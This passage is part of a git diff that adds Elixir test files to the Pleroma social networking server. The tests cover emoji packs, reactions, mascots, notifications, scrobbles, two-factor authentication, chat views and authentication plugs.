%{admin_conn: admin_conn} do + assert admin_conn + |> post("/api/pleroma/emoji/pack?name= ") + |> json_response_and_validate_schema(:bad_request) == %{ + "error" => "pack name cannot be empty" + } + end + end + + test "deleting nonexisting pack", %{admin_conn: admin_conn} do + assert admin_conn + |> delete("/api/pleroma/emoji/pack?name=non_existing") + |> json_response_and_validate_schema(:not_found) == %{ + "error" => "Pack non_existing does not exist" + } + end + + test "deleting with empty name", %{admin_conn: admin_conn} do + assert admin_conn + |> delete("/api/pleroma/emoji/pack?name= ") + |> json_response_and_validate_schema(:bad_request) == %{ + "error" => "pack name cannot be empty" + } + end + + test "filesystem import", %{admin_conn: admin_conn, conn: conn} do + on_exit(fn -> + File.rm!("#{@emoji_path}/test_pack_for_import/emoji.txt") + File.rm!("#{@emoji_path}/test_pack_for_import/pack.json") + end) + + resp = conn |> get("/api/pleroma/emoji/packs") |> json_response_and_validate_schema(200) + + refute Map.has_key?(resp["packs"], "test_pack_for_import") + + assert admin_conn + |> get("/api/pleroma/emoji/packs/import") + |> json_response_and_validate_schema(200) == ["test_pack_for_import"] + + resp = conn |> get("/api/pleroma/emoji/packs") |> json_response_and_validate_schema(200) + assert resp["packs"]["test_pack_for_import"]["files"] == %{"blank" => "blank.png"} + + File.rm!("#{@emoji_path}/test_pack_for_import/pack.json") + refute File.exists?("#{@emoji_path}/test_pack_for_import/pack.json") + + emoji_txt_content = """ + blank, blank.png, Fun + blank2, blank.png + foo, /emoji/test_pack_for_import/blank.png + bar + """ + + File.write!("#{@emoji_path}/test_pack_for_import/emoji.txt", emoji_txt_content) + + assert admin_conn + |> get("/api/pleroma/emoji/packs/import") + |> json_response_and_validate_schema(200) == ["test_pack_for_import"] + + resp = conn |> get("/api/pleroma/emoji/packs") |> json_response_and_validate_schema(200) + + assert resp["packs"]["test_pack_for_import"]["files"] == %{ + "blank" => "blank.png", + "blank2" => "blank.png", + "foo" => "blank.png" + } + end + + describe "GET /api/pleroma/emoji/pack?name=:name" do + test "shows pack.json", %{conn: conn} do + assert %{ + "files" => files, + "files_count" => 2, + "pack" => %{ + "can-download" => true, + "description" => "Test description", + "download-sha256" => _, + "homepage" => "https://pleroma.social", + "license" => "Test license", + "share-files" => true + } + } = + conn + |> get("/api/pleroma/emoji/pack?name=test_pack") + |> json_response_and_validate_schema(200) + + assert files == %{"blank" => "blank.png", "blank2" => "blank2.png"} + + assert %{ + "files" => files, + "files_count" => 2 + } = + conn + |> get("/api/pleroma/emoji/pack?name=test_pack&page_size=1") + |> json_response_and_validate_schema(200) + + assert files |> Map.keys() |> length() == 1 + + assert %{ + "files" => files, + "files_count" => 2 + } = + conn + |> get("/api/pleroma/emoji/pack?name=test_pack&page_size=1&page=2") + |> json_response_and_validate_schema(200) + + assert files |> Map.keys() |> length() == 1 + end + + test "for pack name with special chars", %{conn: conn} do + assert %{ + "files" => files, + "files_count" => 1, + "pack" => %{ + "can-download" => true, + "description" => "Test description", + "download-sha256" => _, + "homepage" => "https://pleroma.social", + "license" => "Test license", + "share-files" => true + } + } = + conn + |> get("/api/pleroma/emoji/pack?name=blobs.gg") + |> json_response_and_validate_schema(200) + end + + test "non existing pack", %{conn: conn} do + assert conn + |> get("/api/pleroma/emoji/pack?name=non_existing") + |> json_response_and_validate_schema(:not_found) == %{ + "error" => "Pack non_existing does not exist" + } + end + + test "error name", %{conn: conn} do + assert conn + |> get("/api/pleroma/emoji/pack?name= ") + |> json_response_and_validate_schema(:bad_request) == %{ + "error" => "pack name cannot be empty" + } + end + end +end diff --git a/test/pleroma/web/pleroma_api/controllers/emoji_reaction_controller_test.exs b/test/pleroma/web/pleroma_api/controllers/emoji_reaction_controller_test.exs new file mode 100644 index 000000000..3deab30d1 --- /dev/null +++ b/test/pleroma/web/pleroma_api/controllers/emoji_reaction_controller_test.exs @@ -0,0 +1,149 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.PleromaAPI.EmojiReactionControllerTest do + use Oban.Testing, repo: Pleroma.Repo + use Pleroma.Web.ConnCase + + alias Pleroma.Object + alias Pleroma.Tests.ObanHelpers + alias Pleroma.User + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + test "PUT /api/v1/pleroma/statuses/:id/reactions/:emoji", %{conn: conn} do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "#cofe"}) + + result = + conn + |> assign(:user, other_user) + |> assign(:token, insert(:oauth_token, user: other_user, scopes: ["write:statuses"])) + |> put("/api/v1/pleroma/statuses/#{activity.id}/reactions/☕") + |> json_response_and_validate_schema(200) + + # We return the status, but this our implementation detail. + assert %{"id" => id} = result + assert to_string(activity.id) == id + + assert result["pleroma"]["emoji_reactions"] == [ + %{"name" => "☕", "count" => 1, "me" => true} + ] + + # Reacting with a non-emoji + assert conn + |> assign(:user, other_user) + |> assign(:token, insert(:oauth_token, user: other_user, scopes: ["write:statuses"])) + |> put("/api/v1/pleroma/statuses/#{activity.id}/reactions/x") + |> json_response_and_validate_schema(400) + end + + test "DELETE /api/v1/pleroma/statuses/:id/reactions/:emoji", %{conn: conn} do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "#cofe"}) + {:ok, _reaction_activity} = CommonAPI.react_with_emoji(activity.id, other_user, "☕") + + ObanHelpers.perform_all() + + result = + conn + |> assign(:user, other_user) + |> assign(:token, insert(:oauth_token, user: other_user, scopes: ["write:statuses"])) + |> delete("/api/v1/pleroma/statuses/#{activity.id}/reactions/☕") + + assert %{"id" => id} = json_response_and_validate_schema(result, 200) + assert to_string(activity.id) == id + + ObanHelpers.perform_all() + + object = Object.get_by_ap_id(activity.data["object"]) + + assert object.data["reaction_count"] == 0 + end + + test "GET /api/v1/pleroma/statuses/:id/reactions", %{conn: conn} do + user = insert(:user) + other_user = insert(:user) + doomed_user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "#cofe"}) + + result = + conn + |> get("/api/v1/pleroma/statuses/#{activity.id}/reactions") + |> json_response_and_validate_schema(200) + + assert result == [] + + {:ok, _} = CommonAPI.react_with_emoji(activity.id, other_user, "🎅") + {:ok, _} = CommonAPI.react_with_emoji(activity.id, doomed_user, "🎅") + + User.perform(:delete, doomed_user) + + result = + conn + |> get("/api/v1/pleroma/statuses/#{activity.id}/reactions") + |> json_response_and_validate_schema(200) + + [%{"name" => "🎅", "count" => 1, "accounts" => [represented_user], "me" => false}] = result + + assert represented_user["id"] == other_user.id + + result = + conn + |> assign(:user, other_user) + |> assign(:token, insert(:oauth_token, user: other_user, scopes: ["read:statuses"])) + |> get("/api/v1/pleroma/statuses/#{activity.id}/reactions") + |> json_response_and_validate_schema(200) + + assert [%{"name" => "🎅", "count" => 1, "accounts" => [_represented_user], "me" => true}] = + result + end + + test "GET /api/v1/pleroma/statuses/:id/reactions with :show_reactions disabled", %{conn: conn} do + clear_config([:instance, :show_reactions], false) + + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "#cofe"}) + {:ok, _} = CommonAPI.react_with_emoji(activity.id, other_user, "🎅") + + result = + conn + |> get("/api/v1/pleroma/statuses/#{activity.id}/reactions") + |> json_response_and_validate_schema(200) + + assert result == [] + end + + test "GET /api/v1/pleroma/statuses/:id/reactions/:emoji", %{conn: conn} do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "#cofe"}) + + result = + conn + |> get("/api/v1/pleroma/statuses/#{activity.id}/reactions/🎅") + |> json_response_and_validate_schema(200) + + assert result == [] + + {:ok, _} = CommonAPI.react_with_emoji(activity.id, other_user, "🎅") + {:ok, _} = CommonAPI.react_with_emoji(activity.id, other_user, "☕") + + assert [%{"name" => "🎅", "count" => 1, "accounts" => [represented_user], "me" => false}] = + conn + |> get("/api/v1/pleroma/statuses/#{activity.id}/reactions/🎅") + |> json_response_and_validate_schema(200) + + assert represented_user["id"] == other_user.id + end +end diff --git a/test/pleroma/web/pleroma_api/controllers/mascot_controller_test.exs b/test/pleroma/web/pleroma_api/controllers/mascot_controller_test.exs new file mode 100644 index 000000000..e2ead6e15 --- /dev/null +++ b/test/pleroma/web/pleroma_api/controllers/mascot_controller_test.exs @@ -0,0 +1,73 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.PleromaAPI.MascotControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.User + + test "mascot upload" do + %{conn: conn} = oauth_access(["write:accounts"]) + + non_image_file = %Plug.Upload{ + content_type: "audio/mpeg", + path: Path.absname("test/fixtures/sound.mp3"), + filename: "sound.mp3" + } + + ret_conn = + conn + |> put_req_header("content-type", "multipart/form-data") + |> put("/api/v1/pleroma/mascot", %{"file" => non_image_file}) + + assert json_response_and_validate_schema(ret_conn, 415) + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + conn = + conn + |> put_req_header("content-type", "multipart/form-data") + |> put("/api/v1/pleroma/mascot", %{"file" => file}) + + assert %{"id" => _, "type" => image} = json_response_and_validate_schema(conn, 200) + end + + test "mascot retrieving" do + %{user: user, conn: conn} = oauth_access(["read:accounts", "write:accounts"]) + + # When user hasn't set a mascot, we should just get pleroma tan back + ret_conn = get(conn, "/api/v1/pleroma/mascot") + + assert %{"url" => url} = json_response_and_validate_schema(ret_conn, 200) + assert url =~ "pleroma-fox-tan-smol" + + # When a user sets their mascot, we should get that back + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + ret_conn = + conn + |> put_req_header("content-type", "multipart/form-data") + |> put("/api/v1/pleroma/mascot", %{"file" => file}) + + assert json_response_and_validate_schema(ret_conn, 200) + + user = User.get_cached_by_id(user.id) + + conn = + conn + |> assign(:user, user) + |> get("/api/v1/pleroma/mascot") + + assert %{"url" => url, "type" => "image"} = json_response_and_validate_schema(conn, 200) + assert url =~ "an_image" + end +end diff --git a/test/pleroma/web/pleroma_api/controllers/notification_controller_test.exs b/test/pleroma/web/pleroma_api/controllers/notification_controller_test.exs new file mode 100644 index 000000000..bb4fe6c49 --- /dev/null +++ b/test/pleroma/web/pleroma_api/controllers/notification_controller_test.exs @@ -0,0 +1,68 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.PleromaAPI.NotificationControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Notification + alias Pleroma.Repo + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + describe "POST /api/v1/pleroma/notifications/read" do + setup do: oauth_access(["write:notifications"]) + + test "it marks a single notification as read", %{user: user1, conn: conn} do + user2 = insert(:user) + {:ok, activity1} = CommonAPI.post(user2, %{status: "hi @#{user1.nickname}"}) + {:ok, activity2} = CommonAPI.post(user2, %{status: "hi @#{user1.nickname}"}) + {:ok, [notification1]} = Notification.create_notifications(activity1) + {:ok, [notification2]} = Notification.create_notifications(activity2) + + response = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/pleroma/notifications/read", %{id: notification1.id}) + |> json_response_and_validate_schema(:ok) + + assert %{"pleroma" => %{"is_seen" => true}} = response + assert Repo.get(Notification, notification1.id).seen + refute Repo.get(Notification, notification2.id).seen + end + + test "it marks multiple notifications as read", %{user: user1, conn: conn} do + user2 = insert(:user) + {:ok, _activity1} = CommonAPI.post(user2, %{status: "hi @#{user1.nickname}"}) + {:ok, _activity2} = CommonAPI.post(user2, %{status: "hi @#{user1.nickname}"}) + {:ok, _activity3} = CommonAPI.post(user2, %{status: "HIE @#{user1.nickname}"}) + + [notification3, notification2, notification1] = Notification.for_user(user1, %{limit: 3}) + + [response1, response2] = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/pleroma/notifications/read", %{max_id: notification2.id}) + |> json_response_and_validate_schema(:ok) + + assert %{"pleroma" => %{"is_seen" => true}} = response1 + assert %{"pleroma" => %{"is_seen" => true}} = response2 + assert Repo.get(Notification, notification1.id).seen + assert Repo.get(Notification, notification2.id).seen + refute Repo.get(Notification, notification3.id).seen + end + + test "it returns error when notification not found", %{conn: conn} do + response = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/pleroma/notifications/read", %{ + id: 22_222_222_222_222 + }) + |> json_response_and_validate_schema(:bad_request) + + assert response == %{"error" => "Cannot get notification"} + end + end +end diff --git a/test/pleroma/web/pleroma_api/controllers/scrobble_controller_test.exs b/test/pleroma/web/pleroma_api/controllers/scrobble_controller_test.exs new file mode 100644 index 000000000..f39c07ac6 --- /dev/null +++ b/test/pleroma/web/pleroma_api/controllers/scrobble_controller_test.exs @@ -0,0 +1,60 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.PleromaAPI.ScrobbleControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Web.CommonAPI + + describe "POST /api/v1/pleroma/scrobble" do + test "works correctly" do + %{conn: conn} = oauth_access(["write"]) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/pleroma/scrobble", %{ + "title" => "lain radio episode 1", + "artist" => "lain", + "album" => "lain radio", + "length" => "180000" + }) + + assert %{"title" => "lain radio episode 1"} = json_response_and_validate_schema(conn, 200) + end + end + + describe "GET /api/v1/pleroma/accounts/:id/scrobbles" do + test "works correctly" do + %{user: user, conn: conn} = oauth_access(["read"]) + + {:ok, _activity} = + CommonAPI.listen(user, %{ + title: "lain radio episode 1", + artist: "lain", + album: "lain radio" + }) + + {:ok, _activity} = + CommonAPI.listen(user, %{ + title: "lain radio episode 2", + artist: "lain", + album: "lain radio" + }) + + {:ok, _activity} = + CommonAPI.listen(user, %{ + title: "lain radio episode 3", + artist: "lain", + album: "lain radio" + }) + + conn = get(conn, "/api/v1/pleroma/accounts/#{user.id}/scrobbles") + + result = json_response_and_validate_schema(conn, 200) + + assert length(result) == 3 + end + end +end diff --git a/test/pleroma/web/pleroma_api/controllers/two_factor_authentication_controller_test.exs b/test/pleroma/web/pleroma_api/controllers/two_factor_authentication_controller_test.exs new file mode 100644 index 000000000..22988c881 --- /dev/null +++ b/test/pleroma/web/pleroma_api/controllers/two_factor_authentication_controller_test.exs @@ -0,0 +1,264 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.PleromaAPI.TwoFactorAuthenticationControllerTest do + use Pleroma.Web.ConnCase + + import Pleroma.Factory + alias Pleroma.MFA.Settings + alias Pleroma.MFA.TOTP + + describe "GET /api/pleroma/accounts/mfa/settings" do + test "returns user mfa settings for new user", %{conn: conn} do + token = insert(:oauth_token, scopes: ["read", "follow"]) + token2 = insert(:oauth_token, scopes: ["write"]) + + assert conn + |> put_req_header("authorization", "Bearer #{token.token}") + |> get("/api/pleroma/accounts/mfa") + |> json_response(:ok) == %{ + "settings" => %{"enabled" => false, "totp" => false} + } + + assert conn + |> put_req_header("authorization", "Bearer #{token2.token}") + |> get("/api/pleroma/accounts/mfa") + |> json_response(403) == %{ + "error" => "Insufficient permissions: read:security." + } + end + + test "returns user mfa settings with enabled totp", %{conn: conn} do + user = + insert(:user, + multi_factor_authentication_settings: %Settings{ + enabled: true, + totp: %Settings.TOTP{secret: "XXX", delivery_type: "app", confirmed: true} + } + ) + + token = insert(:oauth_token, scopes: ["read", "follow"], user: user) + + assert conn + |> put_req_header("authorization", "Bearer #{token.token}") + |> get("/api/pleroma/accounts/mfa") + |> json_response(:ok) == %{ + "settings" => %{"enabled" => true, "totp" => true} + } + end + end + + describe "GET /api/pleroma/accounts/mfa/backup_codes" do + test "returns backup codes", %{conn: conn} do + user = + insert(:user, + multi_factor_authentication_settings: %Settings{ + backup_codes: ["1", "2", "3"], + totp: %Settings.TOTP{secret: "secret"} + } + ) + + token = insert(:oauth_token, scopes: ["write", "follow"], user: user) + token2 = insert(:oauth_token, scopes: ["read"]) + + response = + conn + |> put_req_header("authorization", "Bearer #{token.token}") + |> get("/api/pleroma/accounts/mfa/backup_codes") + |> json_response(:ok) + + assert [<<_::bytes-size(6)>>, <<_::bytes-size(6)>>] = response["codes"] + user = refresh_record(user) + mfa_settings = user.multi_factor_authentication_settings + assert mfa_settings.totp.secret == "secret" + refute mfa_settings.backup_codes == ["1", "2", "3"] + refute mfa_settings.backup_codes == [] + + assert conn + |> put_req_header("authorization", "Bearer #{token2.token}") + |> get("/api/pleroma/accounts/mfa/backup_codes") + |> json_response(403) == %{ + "error" => "Insufficient permissions: write:security." + } + end + end + + describe "GET /api/pleroma/accounts/mfa/setup/totp" do + test "return errors when method is invalid", %{conn: conn} do + user = insert(:user) + token = insert(:oauth_token, scopes: ["write", "follow"], user: user) + + response = + conn + |> put_req_header("authorization", "Bearer #{token.token}") + |> get("/api/pleroma/accounts/mfa/setup/torf") + |> json_response(400) + + assert response == %{"error" => "undefined method"} + end + + test "returns key and provisioning_uri", %{conn: conn} do + user = + insert(:user, + multi_factor_authentication_settings: %Settings{backup_codes: ["1", "2", "3"]} + ) + + token = insert(:oauth_token, scopes: ["write", "follow"], user: user) + token2 = insert(:oauth_token, scopes: ["read"]) + + response = + conn + |> put_req_header("authorization", "Bearer #{token.token}") + |> get("/api/pleroma/accounts/mfa/setup/totp") + |> json_response(:ok) + + user = refresh_record(user) + mfa_settings = user.multi_factor_authentication_settings + secret = mfa_settings.totp.secret + refute mfa_settings.enabled + assert mfa_settings.backup_codes == ["1", "2", "3"] + + assert response == %{ + "key" => secret, + "provisioning_uri" => TOTP.provisioning_uri(secret, "#{user.email}") + } + + assert conn + |> put_req_header("authorization", "Bearer #{token2.token}") + |> get("/api/pleroma/accounts/mfa/setup/totp") + |> json_response(403) == %{ + "error" => "Insufficient permissions: write:security." + } + end + end + + describe "GET /api/pleroma/accounts/mfa/confirm/totp" do + test "returns success result", %{conn: conn} do + secret = TOTP.generate_secret() + code = TOTP.generate_token(secret) + + user = + insert(:user, + multi_factor_authentication_settings: %Settings{ + backup_codes: ["1", "2", "3"], + totp: %Settings.TOTP{secret: secret} + } + ) + + token = insert(:oauth_token, scopes: ["write", "follow"], user: user) + token2 = insert(:oauth_token, scopes: ["read"]) + + assert conn + |> put_req_header("authorization", "Bearer #{token.token}") + |> post("/api/pleroma/accounts/mfa/confirm/totp", %{password: "test", code: code}) + |> json_response(:ok) + + settings = refresh_record(user).multi_factor_authentication_settings + assert settings.enabled + assert settings.totp.secret == secret + assert settings.totp.confirmed + assert settings.backup_codes == ["1", "2", "3"] + + assert conn + |> put_req_header("authorization", "Bearer #{token2.token}") + |> post("/api/pleroma/accounts/mfa/confirm/totp", %{password: "test", code: code}) + |> json_response(403) == %{ + "error" => "Insufficient permissions: write:security." + } + end + + test "returns error if password incorrect", %{conn: conn} do + secret = TOTP.generate_secret() + code = TOTP.generate_token(secret) + + user = + insert(:user, + multi_factor_authentication_settings: %Settings{ + backup_codes: ["1", "2", "3"], + totp: %Settings.TOTP{secret: secret} + } + ) + + token = insert(:oauth_token, scopes: ["write", "follow"], user: user) + + response = + conn + |> put_req_header("authorization", "Bearer #{token.token}") + |> post("/api/pleroma/accounts/mfa/confirm/totp", %{password: "xxx", code: code}) + |> json_response(422) + + settings = refresh_record(user).multi_factor_authentication_settings + refute settings.enabled + refute settings.totp.confirmed + assert settings.backup_codes == ["1", "2", "3"] + assert response == %{"error" => "Invalid password."} + end + + test "returns error if code incorrect", %{conn: conn} do + secret = TOTP.generate_secret() + + user = + insert(:user, + multi_factor_authentication_settings: %Settings{ + backup_codes: ["1", "2", "3"], + totp: %Settings.TOTP{secret: secret} + } + ) + + token = insert(:oauth_token, scopes: ["write", "follow"], user: user) + token2 = insert(:oauth_token, scopes: ["read"]) + + response = + conn + |> put_req_header("authorization", "Bearer #{token.token}") + |> post("/api/pleroma/accounts/mfa/confirm/totp", %{password: "test", code: "code"}) + |> json_response(422) + + settings = refresh_record(user).multi_factor_authentication_settings + refute settings.enabled + refute settings.totp.confirmed + assert settings.backup_codes == ["1", "2", "3"] + assert response == %{"error" => "invalid_token"} + + assert conn + |> put_req_header("authorization", "Bearer #{token2.token}") + |> post("/api/pleroma/accounts/mfa/confirm/totp", %{password: "test", code: "code"}) + |> json_response(403) == %{ + "error" => "Insufficient permissions: write:security." + } + end + end + + describe "DELETE /api/pleroma/accounts/mfa/totp" do + test "returns success result", %{conn: conn} do + user = + insert(:user, + multi_factor_authentication_settings: %Settings{ + backup_codes: ["1", "2", "3"], + totp: %Settings.TOTP{secret: "secret"} + } + ) + + token = insert(:oauth_token, scopes: ["write", "follow"], user: user) + token2 = insert(:oauth_token, scopes: ["read"]) + + assert conn + |> put_req_header("authorization", "Bearer #{token.token}") + |> delete("/api/pleroma/accounts/mfa/totp", %{password: "test"}) + |> json_response(:ok) + + settings = refresh_record(user).multi_factor_authentication_settings + refute settings.enabled + assert settings.totp.secret == nil + refute settings.totp.confirmed + + assert conn + |> put_req_header("authorization", "Bearer #{token2.token}") + |> delete("/api/pleroma/accounts/mfa/totp", %{password: "test"}) + |> json_response(403) == %{ + "error" => "Insufficient permissions: write:security." + } + end + end +end diff --git a/test/pleroma/web/pleroma_api/views/chat_message_reference_view_test.exs b/test/pleroma/web/pleroma_api/views/chat_message_reference_view_test.exs new file mode 100644 index 000000000..26272c125 --- /dev/null +++ b/test/pleroma/web/pleroma_api/views/chat_message_reference_view_test.exs @@ -0,0 +1,72 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.PleromaAPI.ChatMessageReferenceViewTest do + use Pleroma.DataCase + + alias Pleroma.Chat + alias Pleroma.Chat.MessageReference + alias Pleroma.Object + alias Pleroma.Web.ActivityPub.ActivityPub + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.PleromaAPI.Chat.MessageReferenceView + + import Pleroma.Factory + + test "it displays a chat message" do + user = insert(:user) + recipient = insert(:user) + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + {:ok, upload} = ActivityPub.upload(file, actor: user.ap_id) + {:ok, activity} = CommonAPI.post_chat_message(user, recipient, "kippis :firefox:") + + chat = Chat.get(user.id, recipient.ap_id) + + object = Object.normalize(activity) + + cm_ref = MessageReference.for_chat_and_object(chat, object) + + chat_message = MessageReferenceView.render("show.json", chat_message_reference: cm_ref) + + assert chat_message[:id] == cm_ref.id + assert chat_message[:content] == "kippis :firefox:" + assert chat_message[:account_id] == user.id + assert chat_message[:chat_id] + assert chat_message[:created_at] + assert chat_message[:unread] == false + assert match?([%{shortcode: "firefox"}], chat_message[:emojis]) + + clear_config([:rich_media, :enabled], true) + + Tesla.Mock.mock(fn + %{url: "https://example.com/ogp"} -> + %Tesla.Env{status: 200, body: File.read!("test/fixtures/rich_media/ogp.html")} + end) + + {:ok, activity} = + CommonAPI.post_chat_message(recipient, user, "gkgkgk https://example.com/ogp", + media_id: upload.id + ) + + object = Object.normalize(activity) + + cm_ref = MessageReference.for_chat_and_object(chat, object) + + chat_message_two = MessageReferenceView.render("show.json", chat_message_reference: cm_ref) + + assert chat_message_two[:id] == cm_ref.id + assert chat_message_two[:content] == object.data["content"] + assert chat_message_two[:account_id] == recipient.id + assert chat_message_two[:chat_id] == chat_message[:chat_id] + assert chat_message_two[:attachment] + assert chat_message_two[:unread] == true + assert chat_message_two[:card] + end +end diff --git a/test/pleroma/web/pleroma_api/views/chat_view_test.exs b/test/pleroma/web/pleroma_api/views/chat_view_test.exs new file mode 100644 index 000000000..02484b705 --- /dev/null +++ b/test/pleroma/web/pleroma_api/views/chat_view_test.exs @@ -0,0 +1,49 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.PleromaAPI.ChatViewTest do + use Pleroma.DataCase + + alias Pleroma.Chat + alias Pleroma.Chat.MessageReference + alias Pleroma.Object + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.CommonAPI.Utils + alias Pleroma.Web.MastodonAPI.AccountView + alias Pleroma.Web.PleromaAPI.Chat.MessageReferenceView + alias Pleroma.Web.PleromaAPI.ChatView + + import Pleroma.Factory + + test "it represents a chat" do + user = insert(:user) + recipient = insert(:user) + + {:ok, chat} = Chat.get_or_create(user.id, recipient.ap_id) + + represented_chat = ChatView.render("show.json", chat: chat) + + assert represented_chat == %{ + id: "#{chat.id}", + account: + AccountView.render("show.json", user: recipient, skip_visibility_check: true), + unread: 0, + last_message: nil, + updated_at: Utils.to_masto_date(chat.updated_at) + } + + {:ok, chat_message_creation} = CommonAPI.post_chat_message(user, recipient, "hello") + + chat_message = Object.normalize(chat_message_creation, false) + + {:ok, chat} = Chat.get_or_create(user.id, recipient.ap_id) + + represented_chat = ChatView.render("show.json", chat: chat) + + cm_ref = MessageReference.for_chat_and_object(chat, chat_message) + + assert represented_chat[:last_message] == + MessageReferenceView.render("show.json", chat_message_reference: cm_ref) + end +end diff --git a/test/pleroma/web/pleroma_api/views/scrobble_view_test.exs b/test/pleroma/web/pleroma_api/views/scrobble_view_test.exs new file mode 100644 index 000000000..6bdb56509 --- /dev/null +++ b/test/pleroma/web/pleroma_api/views/scrobble_view_test.exs @@ -0,0 +1,20 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.PleromaAPI.StatusViewTest do + use Pleroma.DataCase + + alias Pleroma.Web.PleromaAPI.ScrobbleView + + import Pleroma.Factory + + test "successfully renders a Listen activity (pleroma extension)" do + listen_activity = insert(:listen) + + status = ScrobbleView.render("show.json", activity: listen_activity) + + assert status.length == listen_activity.data["object"]["length"] + assert status.title == listen_activity.data["object"]["title"] + end +end diff --git a/test/pleroma/web/plugs/admin_secret_authentication_plug_test.exs b/test/pleroma/web/plugs/admin_secret_authentication_plug_test.exs new file mode 100644 index 000000000..4d35dc99c --- /dev/null +++ b/test/pleroma/web/plugs/admin_secret_authentication_plug_test.exs @@ -0,0 +1,75 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.AdminSecretAuthenticationPlugTest do + use Pleroma.Web.ConnCase + + import Mock + import Pleroma.Factory + + alias Pleroma.Plugs.AdminSecretAuthenticationPlug + alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Plugs.PlugHelper + alias Pleroma.Plugs.RateLimiter + + test "does nothing if a user is assigned", %{conn: conn} do + user = insert(:user) + + conn = + conn + |> assign(:user, user) + + ret_conn = + conn + |> AdminSecretAuthenticationPlug.call(%{}) + + assert conn == ret_conn + end + + describe "when secret set it assigns an admin user" do + setup do: clear_config([:admin_token]) + + setup_with_mocks([{RateLimiter, [:passthrough], []}]) do + :ok + end + + test "with `admin_token` query parameter", %{conn: conn} do + Pleroma.Config.put(:admin_token, "password123") + + conn = + %{conn | params: %{"admin_token" => "wrong_password"}} + |> AdminSecretAuthenticationPlug.call(%{}) + + refute conn.assigns[:user] + assert called(RateLimiter.call(conn, name: :authentication)) + + conn = + %{conn | params: %{"admin_token" => "password123"}} + |> AdminSecretAuthenticationPlug.call(%{}) + + assert conn.assigns[:user].is_admin + assert PlugHelper.plug_skipped?(conn, OAuthScopesPlug) + end + + test "with `x-admin-token` HTTP header", %{conn: conn} do + Pleroma.Config.put(:admin_token, "☕️") + + conn = + conn + |> put_req_header("x-admin-token", "🥛") + |> AdminSecretAuthenticationPlug.call(%{}) + + refute conn.assigns[:user] + assert called(RateLimiter.call(conn, name: :authentication)) + + conn = + conn + |> put_req_header("x-admin-token", "☕️") + |> AdminSecretAuthenticationPlug.call(%{}) + + assert conn.assigns[:user].is_admin + assert PlugHelper.plug_skipped?(conn, OAuthScopesPlug) + end + end +end diff --git a/test/pleroma/web/plugs/authentication_plug_test.exs b/test/pleroma/web/plugs/authentication_plug_test.exs new file mode 100644 index 000000000..550543ff2 --- /dev/null +++ b/test/pleroma/web/plugs/authentication_plug_test.exs @@ -0,0 +1,125 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.AuthenticationPlugTest do + use Pleroma.Web.ConnCase, async: true + + alias Pleroma.Plugs.AuthenticationPlug + alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Plugs.PlugHelper + alias Pleroma.User + + import ExUnit.CaptureLog + import Pleroma.Factory + + setup %{conn: conn} do + user = %User{ + id: 1, + name: "dude", + password_hash: Pbkdf2.hash_pwd_salt("guy") + } + + conn = + conn + |> assign(:auth_user, user) + + %{user: user, conn: conn} + end + + test "it does nothing if a user is assigned", %{conn: conn} do + conn = + conn + |> assign(:user, %User{}) + + ret_conn = + conn + |> AuthenticationPlug.call(%{}) + + assert ret_conn == conn + end + + test "with a correct password in the credentials, " <> + "it assigns the auth_user and marks OAuthScopesPlug as skipped", + %{conn: conn} do + conn = + conn + |> assign(:auth_credentials, %{password: "guy"}) + |> AuthenticationPlug.call(%{}) + + assert conn.assigns.user == conn.assigns.auth_user + assert PlugHelper.plug_skipped?(conn, OAuthScopesPlug) + end + + test "with a bcrypt hash, it updates to a pkbdf2 